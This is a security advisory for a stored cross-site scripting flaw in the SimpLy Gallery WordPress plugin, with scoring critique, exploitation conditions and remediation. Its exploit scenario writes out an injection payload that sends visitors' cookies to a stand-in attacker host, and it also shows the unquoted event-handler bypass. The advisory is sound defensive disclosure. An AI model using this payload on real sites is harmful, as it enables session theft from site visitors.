EUVD-2026-43120
GHSA-7jhf-qg59-fxm2
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Stored XSS payload executes only when a victim loads the injected page, requiring UI:R; all other vendor metrics are consistent with the description.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Lifecycle Timeline
2DescriptionCVE.org
The SimpLy Gallery Block & Lightbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via block attributes in all versions up to, and including, 3.3.3.2. This is due to insufficient input sanitization and output escaping on the sliderMaxHeight block attribute in the pgc_sgb_render_callback() function. The vulnerability exists because the pgc_sgb_sanitize_custom_css() function uses a flawed regex pattern that only removes event handlers with quoted values (e.g., onfocus="alert()") but fails to catch unquoted event handlers (e.g., onfocus=alert(document.cookie)), allowing the malicious code to bypass sanitization. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages via block attributes that will execute whenever a user accesses an injected page.
AnalysisAI
Stored XSS in the SimpLy Gallery Block & Lightbox WordPress plugin (all versions through 3.3.3.2) allows authenticated attackers with Author-level access to inject persistent JavaScript via the sliderMaxHeight block attribute. The root cause is a defective regex in pgc_sgb_sanitize_custom_css() that strips quoted event handlers but silently permits unquoted HTML event handler syntax (e.g., onfocus=alert(document.cookie)), enabling a sanitization bypass that survives to page render. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation of the injection phase requires a valid WordPress account with Author-level access or higher - Contributor-level is insufficient, as Contributors cannot publish posts without editorial review and therefore cannot make the injected block publicly accessible. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The vendor-assigned CVSS 3.1 vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N scores 6.4 (Medium), but the UI:N metric is inconsistent with how stored XSS operates - a victim must load the injected page for the payload to execute, which is conventionally scored UI:R, yielding a more accurate 5.4. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with Author-level WordPress credentials creates or edits a post containing a Simply Gallery block and sets the sliderMaxHeight attribute to a value such as 1px; onfocus=fetch('https://attacker.example/?c='+document.cookie). The pgc_sgb_sanitize_custom_css() regex passes the value without modification because no quoted attribute delimiter is present, and the payload is stored in the database and rendered on the published page. … |
| Remediation | A fix has been committed to the plugin's WordPress SVN trunk as changeset 3581386 (https://plugins.trac.wordpress.org/changeset?reponame=&old=3581386%40simply-gallery-block&new=3581386%40simply-gallery-block); however, the corresponding released plugin version number is not stated in available data - update to the latest version available in the WordPress plugin repository and confirm it is newer than 3.3.3.2. … Detailed patch versions, workarounds, and compensating controls in full report. |
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External POC / Exploit Code
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